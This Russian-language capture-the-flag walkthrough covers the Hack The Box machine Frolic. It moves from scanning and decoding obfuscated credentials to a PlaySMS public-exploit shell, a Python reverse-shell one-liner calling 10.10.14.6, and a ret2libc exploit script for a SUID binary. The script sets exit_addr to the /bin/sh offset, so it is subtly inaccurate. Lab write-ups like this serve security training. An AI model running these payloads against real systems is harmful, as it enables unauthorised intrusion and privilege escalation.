Обзор сервисов

Проведем сканирование портов с помощью nmapAutomator.sh:

$ /opt/nmapAutomator/nmapAutomator.sh -H 10.10.10.111 -t Full


PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h45m25s, deviation: 3h10m30s, median: 4m33s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2021-06-01T16:45:13+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-01T11:15:13
|_  start_date: N/A

Веб-сервис

Сразу же проведем исследование каталогов на сервере с помощью gobuster:

$ gobuster dir -u http://10.10.10.111:9999 -w /usr/share/dirb/wordlists/common.txt -x js,txt,pdf --threads=50

/admin                (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/dev                  (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]   
/test                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/] 

Смотрим в каталог /backup и находим http://10.10.10.111:9999/backup/user.txt с кредами admin:imnothuman.

$ gobuster dir -u http://10.10.10.111:9999/dev/ -w /usr/share/dirb/wordlists/common.txt -x js,php,txt,pdf --threads=50

/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]
/test                 (Status: 200) [Size: 5]

Проводим поиск дальше и находим эндпоинты:

Исследование веб-сервиса

В /admin/js/login.js находим захардкоженный пароль.

username == "admin" && password == "superduperlooperpassword_lol"

Логинимся в админку и получаем текст на ook (https://www.splitbrain.org/_static/ook/):

…………… .!?!! .?… ………….?. ?!.?…… …………… …….!.? ………. .!?!! .?… …….?.? !.?………… ….! ………. .!.?…… .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ………. .!.!! !!!!! !!!!! !!!.? …………… ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… …………..! ?!!.? …………… .?.?! .?… ………….!. !!!!! !!.?…… .!?!! .?… …?. ?!.?…… ..!.? …….!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?……… ……..!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?…… ………. .!?!! .?… ………….?. ?!.?…… !……… ..!.! !!!!! !.!!! !!… …………..! .?… …………..! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ……?.?! .?… ………! .?… …………!?! !.?………… ..?.? !.?.. !.?………!?! !.?……. .?.?! .?… .!.?…… .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ……..!. ?……… !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? …….!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !……… ………. !.!.? ………. .!?!! .?!!! !!!!! !!?.? !.?!! !.?………..! ?!!.? ………. ?.?!. ?……… …….!………… .!.?…… …!? !!.?! !!!!! !!?.? !.?!! !!!.? …….!?! !.?!! !!!!? .?!.? !!!!! !!.?…… …!? !!.?…… ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?………!?! !.?……. .?.?! .?… .!.?…… ………. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! …….!.! !!!!! !.?.

Nothing here check /asdiSIAJJ0QWE9JAS

Переходим на новый эндпоинт (http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS) и видим текст в base64:

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA

Получаем ZIP-файл, закрытый паролем.

Брут ZIP-архива

$ zip2john 1.zip > hash
$ cat hash | grep -E -o '(\$pkzip2\$.*\$/pkzip2\$)|(\$zip2\$.*\$/zip2\$)' > zip.hash
$ hashcat -m 17200 zip.hash /usr/share/wordlists/rockyou.txt
password
$ unzip 1.zip
password

Исследование ZIP-архива

$ cat index.php # (hex)
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Переведем HEX в ASCII.

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Перевод base64 в ascii (получим brainfuck).

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 

После декодирования brainfuck получаем idkwhatispass.

PlaySMS

Логинимся в ранее найденный сервис http://10.10.10.111:9999/playsms.

admin:idkwhatispass

Публичный эксплоит

git clone https://github.com/jasperla/CVE-2017-9101
python3 playsmshell.py --username admin --password idkwhatispass --url http://10.10.10.111:9999/playsms/ --interactive
nc -lnvp 1234
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

MySQL креды

www-data@frolic:~/html/playsms$ cat config.php 
<?php
// PHP PEAR DB compatible database engine:
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB
$core_config['db']['type'] = 'mysqli';          // database engine
$core_config['db']['host'] = 'localhost';       // database host/server
$core_config['db']['port'] = '3306';    // database port
$core_config['db']['user'] = 'root';    // database username
$core_config['db']['pass'] = 'ayush';   // database password
$core_config['db']['name'] = 'playsms'; // database name

Флаг пользователя

www-data@frolic:/home/ayush$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:25:f6 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.111/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:25f6/64 scope global mngtmpaddr dynamic 
       valid_lft 86140sec preferred_lft 14140sec
    inet6 fe80::250:56ff:feb9:25f6/64 scope link 
       valid_lft forever preferred_lft forever
www-data@frolic:/home/ayush$ cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0

Повышение привилегий

Находим SUID-бинарник и начинаем его исследовать.

www-data@frolic:/home/ayush/.binary$ ldd rop
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit 
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2
$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh                           
 15ba0b /bin/sh

Будем писать ROP-эксплоит, нам нужны следующие адреса:

  • libc addr => 0xb7e19000
  • system_addr => 0x003ada0
  • exit_addr => 0x002e9d0
  • /bin/sh addr => 0x15ba0b

Файл exploit.py:

import struct

buf = "A" * 52

libc_addr = 0xb7e19000
sh_addr = struct.pack("<I", libc_addr + 0x15ba0b)
system_addr = struct.pack("<I", libc_addr + 0x003ada0)
exit_addr = struct.pack("<I", libc_addr + 0x15ba0b)

payload = buf + system_addr + exit_addr + sh_addr

print payload 

Запускаем:

/home/ayush/.binary/rop $(python exploit.py)

Флаг суперпользователя

# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:25:f6 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.111/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:25f6/64 scope global mngtmpaddr dynamic 
       valid_lft 86233sec preferred_lft 14233sec
    inet6 fe80::250:56ff:feb9:25f6/64 scope link 
       valid_lft forever preferred_lft forever
# cat root.txt
85d3fdf03f969892538ba9a731826222